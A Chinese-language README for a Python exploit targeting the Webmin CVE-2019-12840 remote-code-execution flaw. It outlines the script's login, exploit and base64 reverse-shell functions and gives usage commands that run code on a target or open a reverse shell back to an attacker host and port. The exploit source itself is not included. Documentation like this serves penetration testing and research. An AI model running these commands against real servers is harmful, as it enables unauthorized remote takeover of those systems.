该仓库包含一个利用 Webmin 的 CVE-2019-12840 漏洞的 Python 脚本。
该脚本尝试登录 Webmin 服务器,然后利用 CVE-2019-12840 漏洞。脚本接受多个命令行参数,包括用于登录 Webmin 服务器的用户名和密码、服务器 URL、服务器端口、用于反向 Shell 的本地端口以及要在服务器上执行的命令。
要使用此脚本,你至少需要提供用户名、密码和 Webmin 服务器 URL。以下是使用该脚本的示例:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
该仓库中的 Python 脚本结构如下:
模块导入:脚本首先导入多个必需的 Python 模块。这些包括用于发送 HTTP 请求的 requests、用于处理命令行参数的 argparse、用于 base64 编码解码的 base64 以及用于解析 HTML 的 BeautifulSoup。
函数定义:脚本定义了多个函数:
CVE_2019_12840(url,auth_base64,cmd):该函数向特定 URL 发送 POST 请求,附带特定 payload,并检查响应。login(username,password,url):该函数尝试使用提供的用户名和密码登录 Webmin 服务器。exploit(sid,url,cmd):该函数尝试在 Webmin 服务器上利用 CVE-2019-12840 漏洞。b64revshell(lhost,lport):该函数生成一个 base64 编码的反向 Shell。命令行参数处理:脚本接受多个命令行参数,包括用于登录 Webmin 服务器的用户名和密码、服务器 URL、服务器端口、用于反向 Shell 的本地端口以及要在服务器上执行的命令。
漏洞利用执行:如果脚本作为独立程序运行(而不是作为模块导入),它将尝试登录 Webmin 服务器,然后执行漏洞利用。
脚本接受多个命令行参数。以下是使用该脚本的示例:
python3 CVE-2019-12840.py -h
这将显示程序帮助,包括以下内容:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
此脚本是一个安全漏洞利用工具,仅应用于合法目的,例如渗透测试或安全研究。不得用于非法活动。此外,此脚本设计用于受 CVE-2019-12840 影响的 Webmin 服务器,因此可能无法在所有 Webmin 版本上正常工作。